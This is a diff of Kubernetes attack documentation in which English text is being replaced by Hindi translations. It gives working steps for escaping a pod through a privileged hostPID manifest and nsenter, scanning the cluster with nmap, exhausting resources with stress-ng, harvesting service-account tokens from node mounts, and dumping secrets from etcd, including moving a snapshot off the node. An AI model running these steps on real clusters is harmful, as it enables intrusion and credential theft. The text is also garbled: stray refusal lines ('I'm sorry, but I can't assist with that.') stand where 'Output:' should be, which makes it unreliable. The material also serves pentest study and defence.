metadata:
|
||||
name: test-cr
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["clusterrolebindings"]
|
||||
verbs: ["get", "create"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["rolebindings"]
|
||||
verbs: ["get", "create"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io/v1"]
|
||||
resources: ["clusterroles"]
|
||||
verbs: ["bind"]
|
||||
resourceNames: ["admin","edit","view"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["clusterrolebindings"]
|
||||
verbs: ["get", "create"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["rolebindings"]
|
||||
verbs: ["get", "create"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io/v1"]
|
||||
resources: ["clusterroles"]
|
||||
verbs: ["bind"]
|
||||
resourceNames: ["admin","edit","view"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
namespace: default
|
||||
name: test-rb
|
||||
namespace: default
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
namespace: default
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
namespace: default
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
' | kubectl apply -f -
|
||||
|
||||
# Won't work
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb2
|
||||
namespace: default
|
||||
name: test-rb2
|
||||
namespace: default
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
namespace: default
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
namespace: default
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: admin
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: admin
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
|
||||
|
||||
# Clean environment
|
||||
@@ -557,38 +548,36 @@ kubectl delete clusterrole test-cr
|
||||
kubectl delete serviceaccount test-sa
|
||||
kubectl delete serviceaccount test-sa2
|
||||
```
|
||||
### मनमाने रोल्स का निर्माण
|
||||
|
||||
### Arbitrary roles creation
|
||||
|
||||
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
|
||||
|
||||
इस उदाहरण में हम एक ऐसा रोल बनाने की कोशिश करते हैं जिसमें रोल संसाधनों पर बनाने और पथ के लिए अनुमतियाँ हों। हालाँकि, K8s हमें एक ऐसे रोल को बनाने से रोकता है जिसमें अधिक अनुमतियाँ हों जो निर्माण करने वाले के पास हैं:
|
||||
```yaml
|
||||
# Create a SA and give the permissions "create" and "patch" over "roles"
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["roles"]
|
||||
verbs: ["patch", "create", "get"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["roles"]
|
||||
verbs: ["patch", "create", "get"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
' | kubectl apply -f -
|
||||
|
||||
# Try to create a role over all the resources with "create" and "patch"
|
||||
@@ -596,11 +585,11 @@ roleRef:
|
||||
echo 'kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r2
|
||||
name: test-r2
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["*"]
|
||||
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
|
||||
- apiGroups: [""]
|
||||
resources: ["*"]
|
||||
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
|
||||
|
||||
# Clean the environment
|
||||
kubectl delete rolebinding test-rb
|
||||
@@ -608,9 +597,4 @@ kubectl delete role test-r
|
||||
kubectl delete role test-r2
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+28
-36
@@ -4,50 +4,42 @@
|
||||
|
||||
## Privileged and hostPID
|
||||
|
||||
With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
|
||||
Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
|
||||
|
||||
Just executing something like the following will allow you to escape from the pod:
|
||||
इन विशेषाधिकारों के साथ आपके पास **होस्ट की प्रक्रियाओं तक पहुंच** होगी और **होस्ट प्रक्रियाओं में से एक के नामस्थान के अंदर प्रवेश करने के लिए पर्याप्त विशेषाधिकार** होंगे।\
|
||||
ध्यान दें कि आपको संभावित रूप से विशेषाधिकार की आवश्यकता नहीं हो सकती है, बल्कि केवल कुछ क्षमताएँ और अन्य संभावित रक्षा बाईपास (जैसे apparmor और/या seccomp) की आवश्यकता हो सकती है।
|
||||
|
||||
कुछ इस तरह का कुछ चलाने से आपको पॉड से बाहर निकलने की अनुमति मिलेगी:
|
||||
```bash
|
||||
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||||
```
|
||||
|
||||
Configuration example:
|
||||
|
||||
कॉन्फ़िगरेशन उदाहरण:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: priv-and-hostpid-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
name: priv-and-hostpid-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
hostPID: true
|
||||
containers:
|
||||
- name: priv-and-hostpid-pod
|
||||
image: ubuntu
|
||||
tty: true
|
||||
securityContext:
|
||||
privileged: true
|
||||
command:
|
||||
[
|
||||
"nsenter",
|
||||
"--target",
|
||||
"1",
|
||||
"--mount",
|
||||
"--uts",
|
||||
"--ipc",
|
||||
"--net",
|
||||
"--pid",
|
||||
"--",
|
||||
"bash",
|
||||
]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
hostPID: true
|
||||
containers:
|
||||
- name: priv-and-hostpid-pod
|
||||
image: ubuntu
|
||||
tty: true
|
||||
securityContext:
|
||||
privileged: true
|
||||
command:
|
||||
[
|
||||
"nsenter",
|
||||
"--target",
|
||||
"1",
|
||||
"--mount",
|
||||
"--uts",
|
||||
"--ipc",
|
||||
"--net",
|
||||
"--pid",
|
||||
"--",
|
||||
"bash",
|
||||
]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+106
-150
@@ -4,19 +4,19 @@
|
||||
|
||||
## **Pod Breakout**
|
||||
|
||||
**If you are lucky enough you may be able to escape from it to the node:**
|
||||
**यदि आप भाग्यशाली हैं, तो आप नोड से भागने में सक्षम हो सकते हैं:**
|
||||
|
||||

|
||||
|
||||
### Escaping from the pod
|
||||
|
||||
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
|
||||
पॉड से भागने की कोशिश करने के लिए, आपको पहले **privileges बढ़ाने** की आवश्यकता हो सकती है, इसे करने के कुछ तकनीकें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
You can check this **docker breakouts to try to escape** from a pod you have compromised:
|
||||
आप इस **docker breakouts को चेक कर सकते हैं ताकि आप एक पॉड से भागने की कोशिश कर सकें जिसे आपने समझौता किया है:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
|
||||
@@ -24,13 +24,13 @@ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
As explained in the section about **kubernetes enumeration**:
|
||||
जैसा कि **kubernetes enumeration** के अनुभाग में समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
|
||||
आमतौर पर पॉड्स के अंदर **service account token** के साथ चलाए जाते हैं। इस सेवा खाते में कुछ **privileges जुड़े हो सकते हैं** जिन्हें आप **abuse** करके अन्य पॉड्स में **move** करने या यहां तक कि क्लस्टर के अंदर कॉन्फ़िगर किए गए नोड्स पर **escape** करने के लिए उपयोग कर सकते हैं। जानें कैसे:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -38,45 +38,41 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
### Abusing Cloud Privileges
|
||||
|
||||
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
|
||||
यदि पॉड एक **cloud environment** के अंदर चल रहा है, तो आप **metadata endpoint** से एक टोकन **leak** करने और इसका उपयोग करके privileges बढ़ाने में सक्षम हो सकते हैं।
|
||||
|
||||
## Search vulnerable network services
|
||||
|
||||
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
|
||||
चूंकि आप Kubernetes वातावरण के अंदर हैं, यदि आप वर्तमान पॉड्स के privileges का दुरुपयोग करके privileges बढ़ाने में असमर्थ हैं और आप कंटेनर से भाग नहीं सकते, तो आपको **संभावित कमजोर सेवाओं की खोज करनी चाहिए।**
|
||||
|
||||
### Services
|
||||
|
||||
**For this purpose, you can try to get all the services of the kubernetes environment:**
|
||||
|
||||
**इस उद्देश्य के लिए, आप kubernetes वातावरण की सभी सेवाओं को प्राप्त करने की कोशिश कर सकते हैं:**
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
डिफ़ॉल्ट रूप से, Kubernetes एक फ्लैट नेटवर्किंग स्कीमा का उपयोग करता है, जिसका अर्थ है **क्लस्टर के भीतर कोई भी पॉड/सेवा अन्य से बात कर सकती है**। क्लस्टर के भीतर **नेमस्पेस के पास डिफ़ॉल्ट रूप से कोई नेटवर्क सुरक्षा प्रतिबंध नहीं है**। नेमस्पेस में कोई भी अन्य नेमस्पेस से बात कर सकता है।
|
||||
|
||||
By default, Kubernetes uses a flat networking schema, which means **any pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Anyone in the namespace can talk to other namespaces.
|
||||
|
||||
### Scanning
|
||||
|
||||
The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster:
|
||||
### स्कैनिंग
|
||||
|
||||
निम्नलिखित Bash स्क्रिप्ट (एक [Kubernetes कार्यशाला](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) से ली गई) Kubernetes क्लस्टर के IP रेंज को स्थापित और स्कैन करेगी:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
nmap-kube ()
|
||||
{
|
||||
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
|
||||
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
|
||||
}
|
||||
|
||||
nmap-kube-discover () {
|
||||
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
|
||||
local SERVER_RANGES=" ";
|
||||
SERVER_RANGES+="10.0.0.1 ";
|
||||
SERVER_RANGES+="10.0.1.* ";
|
||||
SERVER_RANGES+="10.*.0-1.* ";
|
||||
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
|
||||
local SERVER_RANGES=" ";
|
||||
SERVER_RANGES+="10.0.0.1 ";
|
||||
SERVER_RANGES+="10.0.1.* ";
|
||||
SERVER_RANGES+="10.*.0-1.* ";
|
||||
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
}
|
||||
nmap-kube-discover
|
||||
```
|
||||
|
||||
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
|
||||
|
||||
{{#ref}}
|
||||
@@ -101,50 +97,43 @@ kubernetes-network-attacks.md
|
||||
There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment.
|
||||
|
||||
This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
|
||||
You can see the difference between while running `stress-ng` and after
|
||||
|
||||
आप `stress-ng` चलाते समय और बाद में अंतर देख सकते हैं
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
|
||||
## Node Post-Exploitation
|
||||
|
||||
If you managed to **escape from the container** there are some interesting things you will find in the node:
|
||||
यदि आप **कंटेनर से बाहर निकलने** में सफल हो गए हैं, तो आपको नोड में कुछ दिलचस्प चीजें मिलेंगी:
|
||||
|
||||
- The **Container Runtime** process (Docker)
|
||||
- More **pods/containers** running in the node you can abuse like this one (more tokens)
|
||||
- The whole **filesystem** and **OS** in general
|
||||
- The **Kube-Proxy** service listening
|
||||
- The **Kubelet** service listening. Check config files:
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
- `/var/lib/kubelet/config.yaml`
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- Other **kubernetes common files**:
|
||||
- `$HOME/.kube/config` - **User Config**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
- **कंटेनर रनटाइम** प्रक्रिया (Docker)
|
||||
- नोड में और अधिक **पॉड्स/कंटेनर** चल रहे हैं जिन्हें आप इस तरह से दुरुपयोग कर सकते हैं (अधिक टोकन)
|
||||
- पूरा **फाइलसिस्टम** और सामान्य रूप से **OS**
|
||||
- **Kube-Proxy** सेवा सुन रही है
|
||||
- **Kubelet** सेवा सुन रही है। कॉन्फ़िग फ़ाइलें जांचें:
|
||||
- निर्देशिका: `/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
- `/var/lib/kubelet/config.yaml`
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- अन्य **कubernetes सामान्य फ़ाइलें**:
|
||||
- `$HOME/.kube/config` - **उपयोगकर्ता कॉन्फ़िग**
|
||||
- `/etc/kubernetes/kubelet.conf`- **नियमित कॉन्फ़िग**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **बूटस्ट्रैप कॉन्फ़िग**
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd कॉन्फ़िगरेशन**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes कुंजी**
|
||||
|
||||
### Find node kubeconfig
|
||||
|
||||
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**:
|
||||
|
||||
यदि आप पहले टिप्पणी किए गए पथों में से किसी एक में kubeconfig फ़ाइल नहीं ढूंढ पा रहे हैं, तो **kubelet प्रक्रिया के `--kubeconfig` तर्क की जांच करें**:
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
|
||||
### Steal Secrets
|
||||
|
||||
### रहस्य चुराना
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
@@ -153,35 +142,32 @@ kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-s
|
||||
# The most interesting one is probably the one of kube-system
|
||||
ALREADY="IinItialVaaluE"
|
||||
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
|
||||
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
|
||||
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
|
||||
ALREADY="$ALREADY|$TOKEN"
|
||||
echo "Directory: $i"
|
||||
echo "Namespace: $(cat $i)"
|
||||
echo ""
|
||||
echo $TOKEN
|
||||
echo "================================================================================"
|
||||
echo ""
|
||||
fi
|
||||
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
|
||||
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
|
||||
ALREADY="$ALREADY|$TOKEN"
|
||||
echo "Directory: $i"
|
||||
echo "Namespace: $(cat $i)"
|
||||
echo ""
|
||||
echo $TOKEN
|
||||
echo "================================================================================"
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
|
||||
|
||||
स्क्रिप्ट [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) स्वचालित रूप से **अन्य पॉड्स के टोकन प्राप्त करेगी और जांचेगी कि क्या उनके पास वह अनुमति है** जिसकी आप तलाश कर रहे हैं (इसके बजाय कि आप 1 द्वारा 1 देखें):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
|
||||
### Privileged DaemonSets
|
||||
|
||||
A DaemonSet is a **pod** that will be **run** in **all the nodes of the cluster**. Therefore, if a DaemonSet is configured with a **privileged service account,** in **ALL the nodes** you are going to be able to find the **token** of that **privileged service account** that you could abuse.
|
||||
एक DaemonSet एक **pod** है जो **क्लस्टर के सभी नोड्स में चलाया जाएगा**। इसलिए, यदि एक DaemonSet को **privileged service account** के साथ कॉन्फ़िगर किया गया है, तो **सभी नोड्स** में आप उस **privileged service account** का **token** पा सकेंगे जिसका आप दुरुपयोग कर सकते हैं।
|
||||
|
||||
The exploit is the same one as in the previous section, but you now don't depend on luck.
|
||||
शोषण वही है जैसा पिछले अनुभाग में था, लेकिन अब आप किस्मत पर निर्भर नहीं हैं।
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
|
||||
यदि क्लस्टर को एक क्लाउड सेवा द्वारा प्रबंधित किया जाता है, तो आमतौर पर **Node का मेटाडेटा** एंडपॉइंट तक **Pod की तुलना में अलग पहुंच** होगी। इसलिए, **नोड से मेटाडेटा एंडपॉइंट तक पहुंचने** की कोशिश करें (या एक pod के साथ hostNetwork को True पर):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
@@ -189,150 +175,125 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### Steal etcd
|
||||
|
||||
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
|
||||
|
||||
यदि आप उस Node का [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) निर्दिष्ट कर सकते हैं जो कंटेनर चलाएगा, तो एक नियंत्रण-स्तर नोड के अंदर एक शेल प्राप्त करें और **etcd डेटाबेस** प्राप्त करें:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
control-plane नोड्स का **भूमिका मास्टर** है और **क्लाउड प्रबंधित क्लस्टर्स में आप इनमें कुछ भी नहीं चला पाएंगे**।
|
||||
|
||||
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
|
||||
#### etcd 1 से सीक्रेट पढ़ें
|
||||
|
||||
#### Read secrets from etcd 1
|
||||
यदि आप `nodeName` चयनकर्ता का उपयोग करके एक नियंत्रण-तल नोड पर अपना पॉड चला सकते हैं, तो आपको `etcd` डेटाबेस तक आसान पहुंच मिल सकती है, जिसमें क्लस्टर के लिए सभी कॉन्फ़िगरेशन शामिल हैं, जिसमें सभी सीक्रेट भी शामिल हैं।
|
||||
|
||||
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
|
||||
|
||||
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
|
||||
|
||||
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
|
||||
नीचे एक त्वरित और गंदा तरीका है `etcd` से सीक्रेट प्राप्त करने का यदि यह उस नियंत्रण-तल नोड पर चल रहा है जिस पर आप हैं। यदि आप एक अधिक सुरुचिपूर्ण समाधान चाहते हैं जो `etcd` क्लाइंट उपयोगिता `etcdctl` के साथ एक पॉड को चालू करता है और `etcd` से कनेक्ट करने के लिए नियंत्रण-तल नोड के क्रेडेंशियल्स का उपयोग करता है, तो @mauilion से [इस उदाहरण मैनिफेस्ट](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) को देखें।
|
||||
|
||||
**जांचें कि क्या `etcd` नियंत्रण-तल नोड पर चल रहा है और देखें कि डेटाबेस कहाँ है (यह एक `kubeadm` द्वारा बनाए गए क्लस्टर पर है)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
|
||||
**View the data in etcd database:**
|
||||
|
||||
**etcd डेटाबेस में डेटा देखें:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
|
||||
**Extract the tokens from the database and show the service account name**
|
||||
|
||||
**डेटाबेस से टोकन निकालें और सेवा खाता नाम दिखाएँ**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
|
||||
**Same command, but some greps to only return the default token in the kube-system namespace**
|
||||
|
||||
**वही कमांड, लेकिन कुछ greps केवल kube-system नामस्थान में डिफ़ॉल्ट टोकन लौटाने के लिए**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
|
||||
#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
|
||||
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
|
||||
3. Unpack the database:
|
||||
|
||||
1. **`etcd`** डेटाबेस का स्नैपशॉट बनाएं। आगे की जानकारी के लिए [**इस स्क्रिप्ट**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) की जांच करें।
|
||||
2. अपने पसंदीदा तरीके से **`etcd`** स्नैपशॉट को नोड से बाहर स्थानांतरित करें।
|
||||
3. डेटाबेस को अनपैक करें:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
|
||||
4. Start **`etcd`** on your local machine and make it use the stolen snapshot:
|
||||
|
||||
4. अपने स्थानीय मशीन पर **`etcd`** शुरू करें और इसे चुराए गए स्नैपशॉट का उपयोग करने के लिए बनाएं:
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
```
|
||||
|
||||
5. List all the secrets:
|
||||
|
||||
5. सभी रहस्यों की सूची बनाएं:
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
|
||||
6. Get the secfrets:
|
||||
|
||||
6. गुप्त जानकारियाँ प्राप्त करें:
|
||||
```bash
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
|
||||
### Static/Mirrored Pods Persistence
|
||||
|
||||
_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
|
||||
_Static Pods_ सीधे एक विशेष नोड पर kubelet डेमन द्वारा प्रबंधित होते हैं, बिना API सर्वर के उन्हें देखने के। Pods जो नियंत्रण विमान द्वारा प्रबंधित होते हैं (उदाहरण के लिए, एक Deployment); इसके बजाय, **kubelet प्रत्येक स्थिर Pod की निगरानी करता है** (और यदि यह विफल होता है तो इसे पुनः प्रारंभ करता है)।
|
||||
|
||||
Therefore, static Pods are always **bound to one Kubelet** on a specific node.
|
||||
इसलिए, स्थिर Pods हमेशा **एक Kubelet के लिए बंधे होते हैं** एक विशेष नोड पर।
|
||||
|
||||
The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
|
||||
**kubelet स्वचालित रूप से प्रत्येक स्थिर Pod के लिए Kubernetes API सर्वर पर एक मिरर Pod बनाने की कोशिश करता है**। इसका मतलब है कि एक नोड पर चलने वाले Pods API सर्वर पर दिखाई देते हैं, लेकिन वहां से नियंत्रित नहीं किए जा सकते। Pod नामों के साथ नोड होस्टनाम को एक अग्रणी हाइफ़न के साथ जोड़ा जाएगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
|
||||
